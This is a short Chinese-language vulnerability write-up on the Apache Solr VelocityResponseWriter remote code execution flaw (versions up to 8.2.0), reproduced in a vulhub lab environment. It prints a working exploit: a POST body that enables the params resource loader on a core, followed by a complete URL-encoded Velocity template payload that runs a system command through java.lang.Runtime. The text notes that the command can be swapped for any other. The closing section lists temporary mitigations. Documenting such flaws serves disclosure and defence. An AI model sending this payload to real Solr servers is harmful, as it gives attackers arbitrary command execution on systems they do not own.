簡介
Solr是一個獨立的企業級搜索應用服務器,它對外提供類似於Web-service的API接口。用戶可以通過http請求,向搜索引擎服務器提交一定格式的XML文件,生成索引;也可以通過Http Get操作提出查找請求,並得到XML格式的返回結果。
此次漏洞主要是由於 Apache Solr VelocityResponseWrite 插件中 params.resource.loader.enabled 配置項的默認值可通過 HTTP 請求直接進行修改有關,攻擊者可通過向 /節點名稱/config
URL發送POST請求修改 params.resource.loader.enabled 參數的值為 true,再通過發送參數中帶有惡意 velocity 模板的 GET 請求實現遠程代碼執行。
影響版本:
Apache Solr <= 8.2.0
漏洞驗證
環境來自 vulhub。
docker-compose up -d // 啟動環境
docker-compose exec solr bash bin/solr create_core -c test -d example/example-DIH/solr/db // 生成節點名為 test 的測試節點
構造POST請求,在 /solr/test/config
目錄 POST 以下數據(修改Core的配置):
{
"update-queryresponsewriter": {
"startup": "lazy",
"name": "velocity",
"class": "solr.VelocityResponseWriter",
"template.base.dir": "",
"solr.resource.loader.enabled": "true",
"params.resource.loader.enabled": "true"
}
}
成功后執行 exp:
http://ip:8983/solr/test/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27id%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end
// id 可換成任意命令
修復:
Apache官方暫未發布對應補丁,可采用以下臨時緩解措施:
1、在不影響正常使用的情況下,刪除solrconfiog.xml配置文件中class為VelocityResponseWriter的節點以及configoverlay.json文件,並重啟solr服務。
2、開啟Solr認證功能,限制不可信來源與Solr進行交互。